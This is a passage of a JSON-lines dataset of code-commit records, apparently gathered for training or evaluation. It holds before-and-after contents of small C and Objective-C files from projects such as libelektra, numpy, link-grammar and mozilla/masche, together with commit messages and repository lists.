declaration.\n\nR=rch@chromium.org\nBUG=none\nTEST=none\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/11877024\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@176837 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,jaruba\/chromium.src,hujiajie\/pa-chromium,Jonekee\/chromium.src,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,jaruba\/chromium.src,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,Jonekee\/chromium.src,patrickm\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,patrickm\/chromium.src,dushu1203\/chromium.src,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,littlstar\/chromium.src,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,hujiajie\/pa-chromium,patrickm\/chromium.src,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,anirudhSK\/chromium,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,ltilve\/chromium,Just-D\/chromium-1,littlstar\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,Just-D\/chromium-1,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,dednal\/chromium.src,Just-D\/chromium-1,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,anirudhSK\/chromium,jaruba\/chromium.src,ChromiumWebApps\/chromium,littlstar\/chromium.src,ChromiumWebApps\/chromium,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,patrickm\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,hujiajie\/pa-chromium,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,dednal\/chromium.src,jaruba\/chromium.src,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,Just-D\/chromium-1,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,patrickm\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,Just-D\/chromium-1,ondra-novak\/chromium.src,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,jaruba\/chromium.src,ChromiumWebApps\/chromium,Chilledheart\/chromium,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,M4sse\/chromium.src,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,anirudhSK\/chromium,M4sse\/chromium.src,ltilve\/chromium,mogoweb\/chromium-crosswalk,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,M4sse\/chromium.src,ltilve\/chromium,hujiajie\/pa-chromium,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,littlstar\/chromium.src,timopulkkinen\/BubbleFish,Chilledheart\/chromium,Just-D\/chromium-1,anirudhSK\/chromium,markYoungH\/chromium.src,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,ltilve\/chromium,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,dushu1203\/chromium.src,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,zcbenz\/cefode-chromium,dushu1203\/chromium.src,jaruba\/chromium.src,Jonekee\/chromium.src"}
{"commit":"22db0fa4e3b814bb135e6700ef8d64359371d257","old_file":"memsearch\/memory_access.h","new_file":"memsearch\/memory_access.h","old_contents":"","new_contents":"#ifndef __MEMORY_ACCESS__\n#define __MEMORY_ACCESS__\n\n\/\/TODO: File level documentations.\n\/\/TODO: Define the different process_handle_t\n\n#define pid_t uint_t\n\n\/**\n * This struct represents an error.\n *\n * error_number is the error as returned by the OS, 0 for no error.\n * description is a null-terminated string.\n **\/\ntypedef struct {\n    int error_number;\n    char *description;\n} error_t;\n\n\n\/**\n * This struct represents the error releated parts of a response to a function\n * call.\n *\n * fatal_error may point to an error_t that made the operation fail or be NULL.\n * soft_errors may be an array of non-fatal errors or be NULL.\n * soft_errors_count is the number errors in soft_errors (0 for no array).\n * soft_errors_capacity is the capacity of soft_errors (0 for no array).\n **\/\ntypedef struct {\n    error_t *fatal_error;\n    error_t *soft_errors;\n    size_t soft_errors_count;\n    size_t soft_errors_capacity;\n} response_errors_t;\n\n\/**\n * This struct represents a region of readable contiguos memory of a process.\n *\n * No readable memory can be contiguos to this region, it's maximal in its\n * upper bound.\n *\n * Note that this region is not necessary equivalent to the OS's region.\n **\/\ntypedef struct {\n    void *start_address;\n    size_t length;\n} memory_region_t;\n\n\/**\n * Response for an open_process_handle request, with the handle and any possible\n * error.\n **\/\ntypedef struct {\n    response_errors_t errors;\n    process_handle_t process_handle;\n} process_handle_response_t;\n\n\/\/TODO: Add doc.\nprocess_handle_response_t *open_process_handle(pid_t pid);\n\n\/\/TODO: Add doc.\nresponse_errors_t *close_process_handle(process_handle_t *process_handle);\n\n\/\/TODO: Add doc.\nmemory_region_response_t get_next_readable_memory_region(\n        process_handle_t handle, void *start_address);\n\n#endif \/* __MEMORY_ACCESS__ *\/\n","subject":"Add initial work on a commmon C interface.","message":"Add initial work on a commmon C interface.\n","lang":"C","license":"mpl-2.0","repos":"mozilla\/masche,mozilla\/masche"}
{"commit":"6f805776fca1835477b730ced60fe72d9905f874","old_file":"src\/tests\/marquise_init_test.c","new_file":"src\/tests\/marquise_init_test.c","old_contents":"#include <glib.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"..\/marquise.h\"\n\nvoid test_init() {\n\tmarquise_ctx *ctx = marquise_init(\"test\");\n\tg_assert_nonnull(ctx);\n}\n\nint main(int argc, char **argv) {\n\tg_test_init(&argc, &argv, NULL);\n\tg_test_add_func(\"\/marquise_init\/init\", test_init);\n\treturn g_test_run();\n}\n","new_contents":"#include <glib.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/stat.h>\n\n#include \"..\/marquise.h\"\n\nvoid test_init() {\n\tsetenv(\"MARQUISE_SPOOL_DIR\", \"\/tmp\", 1);\n\tmkdir(\"\/tmp\/marquisetest\", 0700);\n\tmarquise_ctx *ctx = marquise_init(\"marquisetest\");\n\tg_assert_nonnull(ctx);\n}\n\nint main(int argc, char **argv) {\n\tg_test_init(&argc, &argv, NULL);\n\tg_test_add_func(\"\/marquise_init\/init\", test_init);\n\treturn g_test_run();\n}\n","subject":"Use a spool directory under \/tmp for testing purposes","message":"Use a spool directory under \/tmp for testing purposes\n","lang":"C","license":"bsd-3-clause","repos":"anchor\/libmarquise,anchor\/libmarquise"}
{"commit":"07a1f80eae2c8169f789da92ab6c17f829615d1a","old_file":"ghighlighter\/main.c","new_file":"ghighlighter\/main.c","old_contents":"#include <stdlib.h>\n#include <pwd.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <gtk\/gtk.h>\n#include \"gh-datastore.h\"\n#include \"gh-main-window.h\"\n\nchar *\ndata_dir_path ()\n{\n  uid_t uid = getuid ();\n  struct passwd *pw = getpwuid (uid);\n\n  char *home_dir = pw->pw_dir;\n  char *data_dir = \"\/.ghighlighter-c\";\n\n  int length = strlen (home_dir);\n  length = length + strlen (data_dir);\n\n  char *result = malloc (length + sizeof (char));\n  strcat (result, home_dir);\n  strcat (result, data_dir);\n\n  return result;\n}\n\nvoid\nsetup_environment (char *data_dir)\n{\n  mkdir (data_dir, 0755);\n}\n\nint\nmain (int argc, char *argv[])\n{\n  char *data_dir = data_dir_path ();\n  setup_environment (data_dir);\n  sqlite3 *db = gh_datastore_open_db (data_dir);\n  free (data_dir);\n\n  GtkWidget *window;\n\n  gtk_init (&argc, &argv);\n\n  window = gh_main_window_create ();\n  gtk_widget_show_all (window);\n\n  gtk_main ();\n\n  sqlite3_close (db);\n\n  return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <pwd.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <gtk\/gtk.h>\n#include \"gh-datastore.h\"\n#include \"gh-main-window.h\"\n\nchar *\ndata_dir_path ()\n{\n  uid_t uid = getuid ();\n  struct passwd *pw = getpwuid (uid);\n\n  char *home_dir = pw->pw_dir;\n  char *data_dir = \"\/.ghighlighter-c\";\n\n  int length = strlen (home_dir);\n  length = length + strlen (data_dir);\n\n  char *result = malloc (length + sizeof (char));\n  result[0] = '\\0';\n  strcat (result, home_dir);\n  strcat (result, data_dir);\n\n  return result;\n}\n\nvoid\nsetup_environment (char *data_dir)\n{\n  mkdir (data_dir, 0755);\n}\n\nint\nmain (int argc, char *argv[])\n{\n  char *data_dir = data_dir_path ();\n  setup_environment (data_dir);\n  sqlite3 *db = gh_datastore_open_db (data_dir);\n  free (data_dir);\n\n  GtkWidget *window;\n\n  gtk_init (&argc, &argv);\n\n  window = gh_main_window_create ();\n  gtk_widget_show_all (window);\n\n  gtk_main ();\n\n  sqlite3_close (db);\n\n  return 0;\n}\n","subject":"Set null byte in allocated data dir path","message":"Set null byte in allocated data dir path\n","lang":"C","license":"mit","repos":"chdorner\/ghighlighter-c"}
{"commit":"1af425ed1e08d00fd953d7e905f48610cc350b28","old_file":"tests\/cframework\/tests_plugin.h","new_file":"tests\/cframework\/tests_plugin.h","old_contents":"\/**\n * @file\n *\n * @brief Some common functions operating on plugins.\n *\n * If you include this file you have full access to elektra's internals\n * and your test might not be ABI compatible with the next release.\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#include <tests_internal.h>\n\n#define PLUGIN_OPEN(NAME)                                                                                                                  \\\n\tKeySet * modules = ksNew (0, KS_END);                                                                                              \\\n\telektraModulesInit (modules, 0);                                                                                                   \\\n\tKey * errorKey = keyNew (\"\", KEY_END);                                                                                             \\\n\tPlugin * plugin = elektraPluginOpen (NAME, modules, conf, errorKey);                                                               \\\n\tsucceed_if (output_warnings (errorKey), \"warnings in kdbOpen for plugin \" NAME);                                                   \\\n\tsucceed_if (output_error (errorKey), \"error in kdbOpen for plugin \" NAME);                                                         \\\n\tkeyDel (errorKey);                                                                                                                 \\\n\texit_if_fail (plugin != 0, \"could not open \" NAME \" plugin\");\n\n#define PLUGIN_CLOSE()                                                                                                                     \\\n\telektraPluginClose (plugin, 0);                                                                                                    \\\n\telektraModulesClose (modules, 0);                                                                                                  \\\n\tksDel (modules);\n","new_contents":"\/**\n * @file\n *\n * @brief Some common functions operating on plugins.\n *\n * If you include this file you have full access to elektra's internals\n * and your test might not be ABI compatible with the next release.\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#include <tests_internal.h>\n\n#define PLUGIN_OPEN(NAME)                                                                                                                  \\\n\tKeySet * modules = ksNew (0, KS_END);                                                                                              \\\n\telektraModulesInit (modules, 0);                                                                                                   \\\n\tKey * errorKey = keyNew (\"\", KEY_END);                                                                                             \\\n\tPlugin * plugin = elektraPluginOpen (NAME, modules, conf, errorKey);                                                               \\\n\tsucceed_if (output_warnings (errorKey), \"warnings in kdbOpen for plugin \" NAME);                                                   \\\n\tsucceed_if (output_error (errorKey), \"error in kdbOpen for plugin \" NAME);                                                         \\\n\tkeyDel (errorKey);                                                                                                                 \\\n\texit_if_fail (plugin != 0, \"could not open \" NAME \" plugin\")\n\n#define PLUGIN_CLOSE()                                                                                                                     \\\n\telektraPluginClose (plugin, 0);                                                                                                    \\\n\telektraModulesClose (modules, 0);                                                                                                  \\\n\tksDel (modules)\n","subject":"Remove trailing semicolons from macros","message":"Test: Remove trailing semicolons from macros\n","lang":"C","license":"bsd-3-clause","repos":"mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,mpranj\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,mpranj\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra"}
{"commit":"2794f6e44bac8a1b560d8894b1403ad874a0cd6c","old_file":"viterbi\/viterbi.h","new_file":"viterbi\/viterbi.h","old_contents":"\n#include <link-grammar\/link-features.h>\n\nLINK_BEGIN_DECLS\nvoid viterbi_parse(const char * sentence, Dictionary dict);\nLINK_END_DECLS\n\n","new_contents":"\n#include \"..\/link-grammar\/link-features.h\"\n\nLINK_BEGIN_DECLS\nvoid viterbi_parse(const char * sentence, Dictionary dict);\nLINK_END_DECLS\n\n","subject":"Fix include path so that make install doesn't screw it.","message":"Fix include path so that make install doesn't screw it.\n\n\ngit-svn-id: fc35eccb03ccef1c432fd0fcf5295fcceaca86a6@32171 bcba8976-2d24-0410-9c9c-aab3bd5fdfd6\n","lang":"C","license":"lgpl-2.1","repos":"ampli\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,MadBomber\/link-grammar,ampli\/link-grammar,linas\/link-grammar,opencog\/link-grammar,linas\/link-grammar,MadBomber\/link-grammar,MadBomber\/link-grammar,linas\/link-grammar,ampli\/link-grammar,MadBomber\/link-grammar,linas\/link-grammar,MadBomber\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,linas\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,linas\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,MadBomber\/link-grammar,linas\/link-grammar,MadBomber\/link-grammar,MadBomber\/link-grammar,linas\/link-grammar,linas\/link-grammar"}
{"commit":"2bc82f8ae834a09beda89ae236b1c5e9646f186d","old_file":"igor\/parser\/DEIgorParserException.h","new_file":"igor\/parser\/DEIgorParserException.h","old_contents":"@interface DEIgorParserException : NSObject\n\n+ (NSException *)exceptionWithReason:(NSString *)reason scanner:(NSScanner *)scanner;\n\n@end\n","new_contents":"@interface DEIgorParserException : NSException\n\n+ (NSException *)exceptionWithReason:(NSString *)reason scanner:(NSScanner *)scanner;\n\n@end\n","subject":"Make Igor parser exception extend NSException","message":"Make Igor parser exception extend NSException\n","lang":"C","license":"mit","repos":"dhemery\/igor,dhemery\/igor,dhemery\/igor"}
{"commit":"e32f03922712ef3516cb7c2a346b3a2ab0ebda36","old_file":"tests\/chez\/chez022\/mkalloc.c","new_file":"tests\/chez\/chez022\/mkalloc.c","old_contents":"#include <malloc.h>\n#include <string.h>\n\ntypedef struct {\n    int val;\n    char* str;\n} Stuff;\n\nStuff* mkThing() {\n    static int num = 0;\n    Stuff* x = malloc(sizeof(Stuff));\n    x->val = num++;\n    x->str = malloc(20);\n    strcpy(x->str,\"Hello\");\n    return x;\n}\n\nchar* getStr(Stuff* x) {\n    return x->str;\n}\n\nvoid freeThing(Stuff* x) {\n    printf(\"Freeing %d %s\\n\", x->val, x->str);\n    free(x->str);\n    free(x);\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\ntypedef struct {\n    int val;\n    char* str;\n} Stuff;\n\nStuff* mkThing() {\n    static int num = 0;\n    Stuff* x = malloc(sizeof(Stuff));\n    x->val = num++;\n    x->str = malloc(20);\n    strcpy(x->str,\"Hello\");\n    return x;\n}\n\nchar* getStr(Stuff* x) {\n    return x->str;\n}\n\nvoid freeThing(Stuff* x) {\n    printf(\"Freeing %d %s\\n\", x->val, x->str);\n    free(x->str);\n    free(x);\n}\n","subject":"Fix includes in chez022 test","message":"Fix includes in chez022 test\n","lang":"C","license":"bsd-3-clause","repos":"mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm"}
{"commit":"8c18581110925ebe9e2b3530d4d5fc4afefbc8b0","old_file":"numpy\/core\/src\/private\/npy_import.h","new_file":"numpy\/core\/src\/private\/npy_import.h","old_contents":"#ifndef NPY_IMPORT_H\n#define NPY_IMPORT_H\n\n#include <Python.h>\n#include <assert.h>\n\n\/*! \\brief Fetch and cache Python function.\n *\n * Import a Python function and cache it for use. The function checks if\n * cache is NULL, and if not NULL imports the Python function specified by\n * \\a module and \\a function, increments its reference count, and stores\n * the result in \\a cache. Usually \\a cache will be a static variable and\n * should be initialized to NULL. On error \\a cache will contain NULL on\n * exit,\n *\n * @param module Absolute module name.\n * @param function Function name.\n * @param cache Storage location for imported function.\n *\/\nNPY_INLINE void\nnpy_cache_pyfunc(const char *module, const char *function, PyObject **cache)\n{\n    if (*cache == NULL) {\n        PyObject *mod = PyImport_ImportModule(module);\n\n        if (mod != NULL) {\n            *cache = PyObject_GetAttrString(mod, function);\n            Py_DECREF(mod);\n        }\n    }\n}\n\n#endif\n","new_contents":"#ifndef NPY_IMPORT_H\n#define NPY_IMPORT_H\n\n#include <Python.h>\n\n\/*! \\brief Fetch and cache Python function.\n *\n * Import a Python function and cache it for use. The function checks if\n * cache is NULL, and if not NULL imports the Python function specified by\n * \\a module and \\a function, increments its reference count, and stores\n * the result in \\a cache. Usually \\a cache will be a static variable and\n * should be initialized to NULL. On error \\a cache will contain NULL on\n * exit,\n *\n * @param module Absolute module name.\n * @param function Function name.\n * @param cache Storage location for imported function.\n *\/\nNPY_INLINE static void\nnpy_cache_pyfunc(const char *module, const char *function, PyObject **cache)\n{\n    if (*cache == NULL) {\n        PyObject *mod = PyImport_ImportModule(module);\n\n        if (mod != NULL) {\n            *cache = PyObject_GetAttrString(mod, function);\n            Py_DECREF(mod);\n        }\n    }\n}\n\n#endif\n","subject":"Fix npy_cache_pyfunc to properly implement inline.","message":"BUG: Fix npy_cache_pyfunc to properly implement inline.\n\nThe function was not static, which led to multiple definition\nerrors.\n","lang":"C","license":"bsd-3-clause","repos":"leifdenby\/numpy,charris\/numpy,sonnyhu\/numpy,charris\/numpy,has2k1\/numpy,sinhrks\/numpy,rhythmsosad\/numpy,pdebuyl\/numpy,jorisvandenbossche\/numpy,mattip\/numpy,stuarteberg\/numpy,MaPePeR\/numpy,Eric89GXL\/numpy,MichaelAquilina\/numpy,SiccarPoint\/numpy,gmcastil\/numpy,nguyentu1602\/numpy,MSeifert04\/numpy,maniteja123\/numpy,mingwpy\/numpy,pdebuyl\/numpy,Anwesh43\/numpy,gfyoung\/numpy,seberg\/numpy,jschueller\/numpy,empeeu\/numpy,GaZ3ll3\/numpy,pbrod\/numpy,anntzer\/numpy,sinhrks\/numpy,jakirkham\/numpy,trankmichael\/numpy,Yusa95\/numpy,mwiebe\/numpy,nbeaver\/numpy,rgommers\/numpy,shoyer\/numpy,rherault-insa\/numpy,ahaldane\/numpy,jonathanunderwood\/numpy,GrimDerp\/numpy,joferkington\/numpy,kirillzhuravlev\/numpy,kirillzhuravlev\/numpy,nbeaver\/numpy,rudimeier\/numpy,ekalosak\/numpy,nguyentu1602\/numpy,ahaldane\/numpy,ahaldane\/numpy,sinhrks\/numpy,ddasilva\/numpy,pbrod\/numpy,AustereCuriosity\/numpy,simongibbons\/numpy,Eric89GXL\/numpy,skwbc\/numpy,pyparallel\/numpy,dwillmer\/numpy,kirillzhuravlev\/numpy,gmcastil\/numpy,empeeu\/numpy,pdebuyl\/numpy,GaZ3ll3\/numpy,MichaelAquilina\/numpy,shoyer\/numpy,dwillmer\/numpy,GrimDerp\/numpy,mattip\/numpy,jankoslavic\/numpy,mattip\/numpy,abalkin\/numpy,Srisai85\/numpy,ssanderson\/numpy,KaelChen\/numpy,endolith\/numpy,cjermain\/numpy,skymanaditya1\/numpy,joferkington\/numpy,shoyer\/numpy,mathdd\/numpy,gfyoung\/numpy,GaZ3ll3\/numpy,madphysicist\/numpy,ChanderG\/numpy,MSeifert04\/numpy,has2k1\/numpy,pdebuyl\/numpy,jonathanunderwood\/numpy,dimasad\/numpy,musically-ut\/numpy,skymanaditya1\/numpy,madphysicist\/numpy,githubmlai\/numpy,mingwpy\/numpy,CMartelLML\/numpy,Dapid\/numpy,grlee77\/numpy,b-carter\/numpy,bringingheavendown\/numpy,has2k1\/numpy,ContinuumIO\/numpy,mingwpy\/numpy,simongibbons\/numpy,solarjoe\/numpy,kiwifb\/numpy,ChanderG\/numpy,rajathkumarmp\/numpy,madphysicist\/numpy,stuarteberg\/numpy,leifdenby\/numpy,argriffing\/numpy,grlee77\/numpy,solarjoe\/numpy,ESSS\/numpy,sonnyhu\/numpy,ahaldane\/numpy,pbrod\/numpy,bertrand-l\/numpy,WarrenWeckesser\/numpy,WarrenWeckesser\/numpy,githubmlai\/numpy,endolith\/numpy,sonnyhu\/numpy,mhvk\/numpy,mhvk\/numpy,b-carter\/numpy,abalkin\/numpy,jorisvandenbossche\/numpy,groutr\/numpy,numpy\/numpy,Yusa95\/numpy,maniteja123\/numpy,utke1\/numpy,ChanderG\/numpy,jorisvandenbossche\/numpy,skwbc\/numpy,rajathkumarmp\/numpy,trankmichael\/numpy,AustereCuriosity\/numpy,rhythmsosad\/numpy,ekalosak\/numpy,seberg\/numpy,kirillzhuravlev\/numpy,mwiebe\/numpy,mingwpy\/numpy,rhythmsosad\/numpy,njase\/numpy,chiffa\/numpy,madphysicist\/numpy,rudimeier\/numpy,musically-ut\/numpy,joferkington\/numpy,jankoslavic\/numpy,CMartelLML\/numpy,ChristopherHogan\/numpy,rudimeier\/numpy,endolith\/numpy,BabeNovelty\/numpy,pizzathief\/numpy,musically-ut\/numpy,behzadnouri\/numpy,moreati\/numpy,mathdd\/numpy,gfyoung\/numpy,Anwesh43\/numpy,KaelChen\/numpy,seberg\/numpy,solarjoe\/numpy,tacaswell\/numpy,skymanaditya1\/numpy,Linkid\/numpy,WarrenWeckesser\/numpy,numpy\/numpy,pbrod\/numpy,ChristopherHogan\/numpy,trankmichael\/numpy,Linkid\/numpy,mhvk\/numpy,hainm\/numpy,SiccarPoint\/numpy,BabeNovelty\/numpy,shoyer\/numpy,CMartelLML\/numpy,tacaswell\/numpy,dimasad\/numpy,tynn\/numpy,empeeu\/numpy,seberg\/numpy,jakirkham\/numpy,grlee77\/numpy,dimasad\/numpy,hainm\/numpy,trankmichael\/numpy,bringingheavendown\/numpy,Anwesh43\/numpy,kiwifb\/numpy,numpy\